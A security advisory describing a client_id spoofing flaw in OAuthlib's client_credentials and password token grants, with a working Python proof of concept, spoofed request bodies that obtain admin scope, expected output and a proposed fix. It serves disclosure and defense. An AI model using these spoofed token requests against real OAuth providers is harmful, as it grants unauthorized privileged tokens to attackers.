OAuthlib's token grant handlers can authenticate one client while authorizing the grant type and requested scopes using a different, attacker-supplied client_id from the request body.
In affected token grant flows, authenticate_client(request) sets request.client to the authenticated client object, but OAuthlib does not require request.client_id to match request.client.client_id. If the request body already contains client_id=..., OAuthlib keeps that value and passes it to validate_grant_type() and validate_scopes().
As a result, an authenticated low-privilege confidential client can authenticate as itself, submit another client's client_id in the token request body, and cause grant and scope validation to run under that other client identity.
The affected public surface is the OAuth2 token endpoint handling for:
client_credentialspassword / Resource Owner Password CredentialsThe issue is relevant to OAuthlib provider deployments where:
client_id argument passed by OAuthlib in validate_grant_type() or validate_scopes(), as the RequestValidator API is designed to support.Deployments whose validators ignore the client_id argument and authorize only from request.client may not be affected.
Request parses query and body parameters into request attributes, including client_id:
The RequestValidator.authenticate_client() contract requires the integrator to authenticate the client and set request.client:
For the client_credentials grant, OAuthlib authenticates the client, verifies that request.client has a client_id, then performs grant and scope validation before normalizing request.client_id from request.client.client_id:
The problematic order is:
if not self.request_validator.authenticate_client(request):
...
elif not hasattr(request.client, 'client_id'):
...
self.validate_grant_type(request)
request.client_id = request.client_id or request.client.client_id
self.validate_scopes(request)
Because OAuthlib only fills request.client_id when it is missing, an attacker-supplied body value such as client_id=high survives even when request.client.client_id == "low".
The shared grant helper then authorizes using request.client_id, while passing the authenticated client object separately:
validate_grant_type(request.client_id, request.grant_type, request.client, request): https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/base.py#L152-L162validate_scopes(request.client_id, request.scopes, request.client, request): https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/base.py#L164-L176The same identity split exists in the Resource Owner Password Credentials flow. After client authentication and user validation, OAuthlib validates the grant and scopes before replacing a missing request.client_id from request.client.client_id:
This creates an inconsistent identity state:
request.client.client_id == "low" # authenticated client
request.client_id == "high" # attacker-supplied request parameter
OAuthlib then calls application authorization hooks with both values, but uses the attacker-controlled request.client_id as the first-class client_id argument.
An authenticated lower-privilege confidential client can obtain tokens authorized under another client's grant and scope policy if the application's validator follows the RequestValidator API and authorizes by the client_id argument.
Concrete impact can include:
client_id while the authenticated client object is different.This is a token authorization bypass, not an unauthenticated attack. The attacker needs valid credentials for one client.
Create the following files in an empty directory.
requirements.txt:
oauthlib==3.3.1
repro.py:
import base64
import json
from oauthlib.oauth2 import (
BearerToken,
ClientCredentialsGrant,
RequestValidator,
ResourceOwnerPasswordCredentialsGrant,
TokenEndpoint,
)
class Client:
def __init__(self, client_id):
self.client_id = client_id
CLIENTS = {
"low": {
"secret": "low-secret",
"grants": {"client_credentials", "password"},
"scopes": {"read"},
},
"high": {
"secret": "high-secret",
"grants": {"client_credentials", "password"},
"scopes": {"read", "admin"},
},
}
class DemoValidator(RequestValidator):
def __init__(self):
self.saved_tokens = []
def authenticate_client(self, request, *args, **kwargs):
authorization = request.headers.get("Authorization", "")
prefix = "Basic "
if not authorization.startswith(prefix):
return False
decoded = base64.b64decode(authorization[len(prefix):]).decode("utf-8")
client_id, secret = decoded.split(":", 1)
record = CLIENTS.get(client_id)
if record is None or record["secret"] != secret:
return False
# This is the authenticated client identity.
request.client = Client(client_id)
return True
def client_authentication_required(self, request, *args, **kwargs):
return True
def validate_grant_type(self, client_id, grant_type, client, request, *args, **kwargs):
record = CLIENTS.get(client_id)
return record is not None and grant_type in record["grants"]
def validate_scopes(self, client_id, scopes, client, request, *args, **kwargs):
record = CLIENTS.get(client_id)
return record is not None and set(scopes or []) <= record["scopes"]
def get_default_scopes(self, client_id, request, *args, **kwargs):
return []
def validate_user(self, username, password, client, request, *args, **kwargs):
if username == "alice" and password == "wonderland":
request.user = username
return True
return False
def save_bearer_token(self, token, request, *args, **kwargs):
self.saved_tokens.append({
"token": dict(token),
"authenticated_client_id": request.client.client_id,
"request_client_id": request.client_id,
"scopes": list(request.scopes or []),
})
validator = DemoValidator()
token = BearerToken(validator, expires_in=3600)
endpoint = TokenEndpoint(
default_grant_type="client_credentials",
default_token_type=token,
grant_types={
"client_credentials": ClientCredentialsGrant(validator),
"password": ResourceOwnerPasswordCredentialsGrant(validator),
},
)
def low_client_headers():
value = base64.b64encode(b"low:low-secret").decode("ascii")
return {"Authorization": f"Basic {value}"}
def token_request(body):
_headers, response_body, status = endpoint.create_token_response(
"https://auth.example/token",
body=body,
headers=low_client_headers(),
)
return status, json.loads(response_body)
def assert_rejected(label, body):
status, response = token_request(body)
print(label, status, response)
if status == 200:
raise SystemExit(f"{label}: expected rejection, got success")
def assert_spoofed_success(label, body):
status, response = token_request(body)
print(label, status, response)
if status != 200:
raise SystemExit(f"{label}: expected token, got {status} {response}")
if response.get("scope") != "admin":
raise SystemExit(f"{label}: expected admin scope, got {response}")
saved = validator.saved_tokens[-1]
if saved["authenticated_client_id"] != "low":
raise SystemExit(f"{label}: authenticated client changed unexpectedly: {saved}")
if saved["request_client_id"] != "high":
raise SystemExit(f"{label}: spoofed request client_id was not preserved: {saved}")
assert_rejected(
"control client_credentials as low requesting admin",
"grant_type=client_credentials&client_id=low&scope=admin",
)
assert_spoofed_success(
"spoofed client_credentials as low with client_id=high",
"grant_type=client_credentials&client_id=high&scope=admin",
)
assert_rejected(
"control password as low requesting admin",
"grant_type=password&client_id=low&username=alice&password=wonderland&scope=admin",
)
assert_spoofed_success(
"spoofed password as low with client_id=high",
"grant_type=password&client_id=high&username=alice&password=wonderland&scope=admin",
)
print("OAUTHLIB_CLIENT_ID_SPOOFING_CONFIRMED")
print(json.dumps(validator.saved_tokens, indent=2, sort_keys=True))
Run:
python -m venv .venv
. .venv/bin/activate
python -m pip install -r requirements.txt
python repro.py
Expected result:
control client_credentials as low requesting admin 400 {'error': 'invalid_scope'}
spoofed client_credentials as low with client_id=high 200 {'access_token': '...', 'expires_in': 3600, 'token_type': 'Bearer', 'scope': 'admin'}
control password as low requesting admin 400 {'error': 'invalid_scope'}
spoofed password as low with client_id=high 200 {'access_token': '...', 'expires_in': 3600, 'token_type': 'Bearer', 'scope': 'admin', 'refresh_token': '...'}
OAUTHLIB_CLIENT_ID_SPOOFING_CONFIRMED
The success condition is that both successful token responses are produced while the saved token state shows:
{
"authenticated_client_id": "low",
"request_client_id": "high",
"scopes": ["admin"]
}
That demonstrates that the authenticated client is low, while grant and scope authorization used the attacker-supplied client_id=high.
After client authentication succeeds, OAuthlib should reject a token request if an explicit request client_id is present and does not match request.client.client_id.
For authenticated confidential-client flows, a safer invariant is:
if request.client is not None:
if request.client_id is not None and request.client_id != request.client.client_id:
raise InvalidClientError(...)
request.client_id = request.client.client_id
This should happen before validate_grant_type() and validate_scopes() are called.
Reporters:
{
"cwe_ids": [
"CWE-863"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-30T22:58:16Z",
"nvd_published_at": "2026-10-28T22:17:12Z",
"severity": "HIGH"
}